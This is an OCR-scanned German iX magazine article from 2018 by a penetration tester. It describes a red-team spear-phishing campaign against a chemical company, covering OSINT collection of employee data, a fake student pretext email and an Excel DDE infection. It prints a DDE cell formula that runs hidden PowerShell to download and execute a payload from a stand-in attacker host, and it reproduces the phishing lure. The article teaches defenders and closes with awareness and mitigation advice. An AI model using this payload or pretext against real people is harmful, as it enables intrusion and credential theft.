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Red Teaming: Gezielte'Fallen, stetle

GOne Phishing...

Sascha Herzog

Im vierten Artikel der Serie zum Thema ,Red Team
Assessments” soll eine der wichtigsten Waffen eines Red Team
beleuchtet werden: Spear-Phishing-Kampagnen.

um eine gezielte und meist indivi-

duell auf das Opfer zugeschnittene
Variante eines Phishing-Angriffs, der da-
zu dient, Zugangsdaten abzugreifen oder
interne Workstations von Mitarbeitern zu
kapern, um von da tiefer in die internen
Netzwerke des Ziels vorzudringen.

Die Vorbereitung und Planung ist bei
Spear-Phishing-Kampagnen alles. Aus
diesem Grund ist wiederum die Samm-
lung taktisch relevanter Informationen im
Vorfeld von entscheidender Bedeutung,
die in [1] beschrieben wurde. Wie immer
werden wir auch hier Tools, Taktiken und
Vorgehensweisen an Hand eines Red
Team Assessment genauer beschreiben.

Im folgenden Fall hatten wir den Auf-
trag herauszufinden, ob und wie leicht es
moglich ist, in die ICS-Infrastruktur (In-
dustrial Control Systems; Steuerungsanla-
gen) eines Kunden aus der chemischen In-
dustrie einzudringen. Dieser stellt duferst
giftige Substanzen fiir die Agrarwirtschaft
her und betreibt mehrere Chemiewerke.

Nach einer kurzen Analyse entschieden
wir uns fiir einen anonymen Angriff aus
der Ferne, da er wahrscheinlich der effi-

B eim Spear Phishing handelt es sich
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zienteste Weg sein wiirde. Damit eine sol-
che Attacke erfolgreich ist, bendtigt man
einige Zutaten (Abbildung 1; Glossar).

Planung und Durchfiihrung

Besonders wichtig ist es, eine grofe An-
zahl an Mitarbeitern und deren E-Mail-
Adressen zu kennen. Zudem sollte man
Kenntnisse von der relevanten Infra-
struktur, insbesondere von den eingesetz-
ten Client-Technologien (Browser, Mail-
Client, Mobiltelefone) der Benutzer haben.
Sehr wichtig sind auflerdem Informationen
zu den eingesetzten Sicherheitsprodukten,
die die Endpunkte sichern (Endpoint-
Protection, Anti-Spam/-Malware, Next
Generation Firewalls, Sandboxing etc.).
An die vielen Mitarbeiter und ihre
E-Mail-Adressen kommen wir iiber ei-
gens entwickelte Tools, die diese Daten
einerseits passiv aus offentlichen Quel-
len im Internet (Open Source Intelli-
gence, OSINT) und andererseits aktiv
iiber Web-Scraping-Techniken zusammen-
suchen und in einer CSV-Tabelle ausge-
ben. Zu den o6ffentlichen Quellen zihlen
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neben Suchmaschinen so interessante
Datenquellen wie ,,Data Breach*-Archive
und Paste-Dumps (zum Beispiel Pastebin).

Bei der aktiven Beschaffung der Mit-
arbeiterdaten bedienen wir uns neben di-
verser Social Networks vor allem an den
eigenen Webseiten des Zielunternehmens.
Dabei akquirieren wir ausschlieBlich fir-
menbezogene und keinerlei personliche
Daten der Mitarbeiter und stimmen diese
Aktionen falls erforderlich mit Betriebs-/
Personalriten ab.

Unser Zielunternehmen brachte monat-
lich ein Onlinemagazin in PDF-Form he-
raus, das es an Newsletter-Abonnenten
verschickte. Darin waren Neuigkeiten und
Geschichten zu Arbeitsbereichen und Mit-
arbeitern veroffentlicht. Bei einer der letz-
ten Ausgaben hatte die beauftragte Werbe-
agentur, die das Magazin designte, die
tolle Idee, auf dem Titelblatt die Namen
aller Mitarbeiter in Form einer hiibschen
Grafik darzustellen. Nicht nur, dass uns
dieses Magazin viele kritische Innenan-
sichten zu Arbeitsbereichen und Mitarbei-
tern lieferte, es présentierte zudem noch
simtliche Mitarbeiternamen im Klartext.

Die Newsletter-Falle

Somit hatten wir nun eine grofe Liste mit
Namen, aus der sich anhand der bekann-
ten Syntax VORNAME.NACHNAME@
FIRMENNAME.TLD E-Mail-Adressen
generieren lieBen. Die gewonnenen
E-Mail-Adressen priiften wir gegen unsere
eigene Sammlung von Data-Breach-Daten
und identifizierten Passworter betroffener
Mitarbeiter. Auerdem sendeten wir iiber
temporidre Accounts bei Newsletter-An-
bietern sogenannte ,,Profiler-Mails“ mit
harmlosen Inhalten an alle Mitarbeiter.
Diese enthielten einen Abmeldelink, der
auf eine ,,Profiler-Webseite™ von uns zeigt.

Bei so vielen E-Mails (oft mehrere
Tausend) erhidlt man auch alle ,,Bounces®
von alten oder fehlerhaften Adressen zu-
riick. Hinzu kommen die Auto-Responder
derjenigen, die sich im Urlaub befinden
oder auf Geschiftsreise sind. Circa 10 bis
20 % der Mitarbeiter klicken bei solchen
Aktionen (manchmal nach mehrfachem
Versenden des gleichen Newsletters) auf
den Abmeldelink oder einen anderen
Link in unserer ,,Profiler-Mail*.

Durch dieses ,,Profiling* erhalten wir
iiber Kopfzeilen der Bounces, Auto-
Responder und durch das sogenannte
Browser-Fingerprinting auf unserer Ab-
meldeseite Daten iiber verwendete Be-
triebssysteme, Webbrowser und -Plug-
ins, Mail-Clients, Sicherheitstechnologien,
interne Netzwerkinfrastrukturen, externe

iX 9/2018



Netzwerkkomponenten wie Surf-Proxies,
auBerdem Informationen iiber ,, weiche
Faktoren* wie Schreibstile und E-Mail-
Footer der Mitarbeiter.

Zusammen mit den Daten aus einer pa-
rallel ablaufenden taktischen Informati-
onsbeschaffung kénnen wir die relevanten
Komponenten der Endpoint-Umgebung
ziemlich gut in unserem Lab nachbauen.
Das tun wir, um sicherzugehen, dass un-
sere Techniken und verwendete Malware
nicht erkannt und blockiert wird.

Auf Mitarbeiter
zugeschnittene Geschichten

Zur Sicherheit entwickeln wir, nachdem
wir uns besonders geeignete Mitarbeiter
als Ziel ausgesucht und iiber offentliche
Quellen relevante Informationen zu
den einzelnen Zielen analysiert haben
(OSINT), meist drei bis fiinf Geschich-
ten, die exakt auf diese Mitarbeiter zuge-
schnitten sind. Hierfiir benotigt man un-
terschiedliche voneinander unabhéngige
Internetinfrastrukturen (Domains, Host-
names, Cloud-Fronts, IP-Adressen, SSL-
Zertifikate und so weiter), um mehrere
Netze mit doppelten Boden zu haben.
Falls also ein Angriff auf ein Ziel fehl-
schldgt, entdeckt oder blockiert wird,
bleiben wir weiterhin anonym und kon-
nen immer noch zeitversetzt andere Ziele
mit anderen Geschichten und Techniken
angreifen.

Da eine gute Story iiber den Erfolg
oder den Misserfolg einer Spear-Phishing-
Kampagne entscheidet, soll hier nur eine
der vier verwendeten Geschichten erzihlt
werden. Was sich oft bewéhrt hat und was
wir auch in unserem Beispiel verwende-
ten, ist die ,,Geschichte vom interessierten
Schiiler. Dieser Schiiler, der den Leis-
tungskurs Chemie an einem deutschen
Gymnasium belegt hat, findet eine gewis-
se Verfahrenstechnik, die bei der Herstel-
lung von Herbiziden besonders wichtig ist,
so interessant, dass er dariiber doch glatt
seine Facharbeit verfassen mochte. Dafiir
wiirde er sich natiirlich gerne mit Experten
austauschen, die sich vor allem in der Pra-

Microsoft Excel

Remotedaten nicht zuganaglich.

b
0 startet.
Anwendung 'MSEXCEL.EXE starten?

War diese Information hilfreich?

Um auf diese Daten zuzugreifen, muss Excel eine andere Anwendung starten. Einige legitime Ar g
einem Virus zu infizieren oder ihn zu beschadigen. Klicken Sie nur auf Ja, wenn Sie der Quelle der Arbeitsmappe vertrauen und wenn Sie machten, dass die Arbeitsmappe die Anwendung

Glossar

E-Mail Collection: Sammeln unternehmens-
interner E-Mail-Adressen

Passive Profiling: Erkennen der technischen,
personellen und betrieblichen Umgebung des
Ziels mit rein passiven Mitteln (OSINT/passive
Reconnaissance)

Active Profiling: Erkennen der technischen,
personellen und betrieblichen Umgebung des
Ziels mit aktiven Mitteln (Versenden von
E-Mails, Netzwerkscans et cetera)

Website Recon: Aufklarung tber ein Ziel an-
hand von Informationen auf Websites des
Zielunternehmens, seiner Tochtergesellschaf-
ten, Partner und Dienstleister

Story Planning: Planung der Social-Enginee-
ring-Rahmengeschichten anhand der gesam-

melten Informationen und Erstellung der
Phishing-Vorlagen

Social Media Recon: Aufklarung Gber ein
Ziel anhand von Informationen auf Social-
Media-Communitys

Building C&C Infrastructure: Aufbau einer
stabilen, anonymen und resistenten Kom-
mando- und Kontrollinfrastruktur

Internal Testing: Qualitatssicherung und
-kontrolle durch interne Tests der Vorlagen
und der Infrastruktur

Conduction of Phishing Scenarios: Durch-
fihrung der einzelnen Phishing-Angriffe, Do-
kumentieren der Ergebnisse und (unter Um-
standen) leichte Anpassungen der Szenarien
nach Bedarf

E-Mail Story Building C&C
Collection Planning Infrastructure
Passive Social Media Internal
. . Profili R Testi
Eine sorgfiltige rofiling econ esting
Vorbereitung und vor
allem das Beschaffen
der Informationen ist : : Conduction
i X Act Websit S
die halbe Miete des Pr(;:fill\i/r?g Ri CZ' ne of Phishing
Angriffs (Abb. 1). Scenarios

xis damit auskennen und tagtéiglich damit
arbeiten. Wie der Zufall so spielt, ist der
technische Leiter eines der Chemiewerke
unseres Zielunternehmens ein ausgespro-
chener Experte auf dem Gebiet. Unser
Schiiler, der die E-Mail-Adresse des Kraft-
werksleiters von einem Artikel, den dieser
verfasst hat, kennt (OSINT), schickt unse-
rem nichts ahnenden Opfer einfach eine
Anfrage, ob er einen kurzen Ausschnitt
aus seiner Arbeit beurteilen konnte.

Da es sich bei diesem Ausschnitt um
Inhaltsstoffe und Verfahren handelt, hatte
der Schiiler diese der Einfachheit halber
in einem Excel-Dokument berechnet und
aufgelistet. Dieses schickte er dem tech-
nischen Leiter in seiner E-Mail mit.

Zum Zeitpunkt dieser Red-Team-
Kampagne war gerade eine besonders ef-

fiziente Moglichkeit der E-Mail-Infektion
(erneut) in Mode gekommen, die wir als
priméren Infektionsvektor wahlten: das
Ausfiihren beliebiger Prozesse iiber das
,.Dynamic Data Exchange (DDE)*“-Proto-
koll (mehr {iiber dieses Protokoll unter
ix.de/ix1809106). Dieses dltere Micro-
soft-Protokoll diente urspriinglich der In-
terprozesskommunikation verschiedener
Anwendungsprogramme. Damit war es
uns moglich, einen Backdoor-Agenten in
Form von PowerShell-Code nur iiber das
Offnen eines Excel-Dokuments auf dem
Rechner des Opfers auszufiihren. Das
Opfer musste dafiir unter Umstinden
zwar noch einen Office-Sicherheitsdialog
bestitigen, der aber im Kontext von Excel
und den angeblichen Verfahrensberech-
nungen legitim aussah (Abbildung 2).

et

1 auf Threm C

Ja I Nein I

puter kdnnten dazu benuizt werden, um Thren Computer mit

Der zu bestatigende Sicherheitsdialog war im vorliegenden Fall kein Hindernis, da er in einem solchen Zusammenhang

plausibel ist (Abb. 2).
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sehr geehrter Her{ NN

ich habe ihre Kontaktdaten aus Ihrem nmkm— wo Ske sehr eindrilcklich und gut erklaren, wie die Herstellung von

Herbiziden bel thnen im Werk N bt

tch bin Schiler der 12, Klasse des |G ymnasiums irf N rvd werde meine Facharbeit Ober das Thema “Nitrodiphenylether, seine

Herstellung und herbizide Wirkung® schreiben,

Sowie ich verstanden habe, sind Sie Experte auf dem Gebiet und ich wollte Ske bitten, ob Sie mich durch ein kurzes Gegenlesen des technischen

Inhalts [nicht mehr als eine DIN A4 Seite] unterstitzen konnten.
Meine Facharbeit muss ich bis zum
Austihrungen zu beurteilen.

abgeben und hoffe, dass Sie aus diesem Grund kurz Zeit finden wirden meine technischen

Uber Ihre Hilfe ware ich thnen sehr dankbar und wirde, falls das for Ske in Ordnung ist, thren Namen auch unter die Referenzen meiner Arbept

setzen.
Ich hoffe auf eine positive Riickmekdung von thnen.

Viehen herzichen Dank und freundliche GriBe,

lohannes Lehmann
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Tel: Dl.?:l-

Die fingierte Mail diente als Kéder fiir den technischen Leiter (Abb. 3).

Der Code, den wir in eine Zelle des
Excel einbetteten, sah ungefihr so aus:

=MSEXCEL|"\..\..\..\Windows\System32\cmd.exe 7

/cpowershell.exe -w hidden $e=(New-Object
System.Net.WebClient).DownloadString 7
(\"http://attackerserver.tld/ ;7
payload.b64\");powershell 7

-e $e'!7378

Abbildung 3 zeigt die von einem fingier-
ten Freemail-Account von uns verfasste
E-Mail an den technischen Leiter.
Sinnvoll ist es, eine solche E-Mail am
Abend zu versenden, sodass das Opfer
gleich am Vormittag des Folgetages, idea-
lerweise sehr friih, den Backdoor-Agenten
ausfiihrt. Dadurch bleibt dem Angreifer
der gesamte restliche Tag, um sich um die

,User Persistence®, eventuelle ,,Privilege
Escalations und das ,,Lateral Movement*
zu kiimmern (alle diese Techniken — das
Verweilen des Eindringlings und das Aus-
breiten im System — beschreibt der néchs-
te Teil der Artikelserie in X 10/2018).

Die Tur ist offen

Als sich um 8:48 Uhr unser Backdoor-
Riickkanal bei unserem ,,Command &
Control“-Server meldete und uns eine
Reverse-Shell zuriickgab [2], wussten
wir, dass der technische Leiter den Koder
geschluckt hatte und wir die Sicherheits-
mechanismen erfolgreich umgehen konn-

iX-Awareness-Wettbewerb 2018

iX schreibt zum zweiten Mal Preise fiir MaR-
nahmen zur Verbesserung der Security-Aware-
ness aus. Es geht dabei wie im Vorjahr um die
Sensibilisierung fiir Sicherheitsprobleme in |h-
rer Firma, Behérde oder Bildungseinrichtung.
Und zwar um real stattgefundene Kampa-
gnen, nicht nur um Pldne oder Ideen. Uns in-
teressiert auch die Resonanz darauf: Gab es
Anderungen des Verhaltens, was den Um-
gang mit bestimmten Aspekten von IT-Sicher-
heit angeht. Gab es Lob oder Kritik?

Bitte schicken Sie bis zum 31. August 2018 ei-
ne E-Mail an post@ix.de mit dem Betreff
~Awareness-Kampagne 2018 Beschreiben Sie
Art, Umfang und Dauer der MaRnahme sowie
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lhre Rolle dabei. Und natrlich den vollstan-
digen Firmennamen nebst Abteilung und
Funktion. Wenn mdglich, hangen Sie auch ein
Foto oder einen Screenshot zur Illustration
lhrer Awareness-MaRnahme an.

Die besten drei Ideen werden auf den Inter-
net Security Days 2018 (20.-21. September
2018, Phantasialand Briihl) vorgestellt. Die
Gewinner sind dazu zum kostenlosen Konfe-
renzbesuch eingeladen. Auferdem vergeben
wir wertvolle Sachpreise: ein 3er-Set des
Deco M9 Mesh WLAN von TP-Link, eine
AVM Fritz!Box 7590 mit Powerline-Erweite-
rung und den LANCOM 883 VoiP-Router.
Jirgen Seeger
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ten. Das Dokument, das man als Koder
verwendet, sollte sinnvolle Nutzdaten be-
inhalten, damit das Opfer keinen Ver-
dacht schopft.

Da wir bis zu diesem Zeitpunkt kom-
plett anonym und mit einem Freemail-
Account arbeiteten, hitten wir bei einem
Fehlschlag gleich die nédchste Geschichte
mit einer anderen Zielperson und Technik
ausprobieren konnen. Insgesamt hatten
drei der vier Geschichten und Techniken,
die wir fiir diesen Kunden in diesem Red
Team Assessment erstellt hatten, Erfolg
und wir hatten somit in der Folge weitrei-
chende Zuginge in fast alle internen Netz-
werkbereiche.

Mitarbeiter sensibilisieren

Wie ein solcher erfolgreicher Einbruch
weiter ausgefiihrt wird, schildern wir
in der nichsten iX.

Um sich vor solchen und dhnlichen
Angriffen zu schiitzen, hilft nur Aware-
ness. Dabei geht es darum, Mitarbeiter,
Partner und Dienstleister durch regelmi-
Bige Ubungen und weitere MaBnahmen
wie Schulungen zu sensibilisieren, um
einen ,,Breach” oder die Herausgabe in-
terner Daten an unautorisierte Personen
zu vermeiden. Bei Warnmeldungen wie
den oben gezeigten sollte dann zukiinftig
jeder Mitarbeiter alarmiert sein und die
IT-Sicherheit einschalten, ohne den OK-
Button zu driicken.

Neben den personellen Maflnahmen
sollten auch die organisatorischen Pro-
zesse (wie Incident Response) und die
eingesetzten Technologien in einem
sinnvollen Mafie angepasst werden. So
lasst sich die Ausfithrung von Code iiber
DDE durch eine entsprechende Grup-
penrichtlinie verhindern (wie das funk-
tioniert, ist unter ix.de/ix1809106 nach-
zulesen). (ur@ix.de)

Sascha Herzog

ist technischer Geschaftsfuhrer und
Penetrationstester bei der NSIDE ATTACK
LOGIC GmbH in Minchen.
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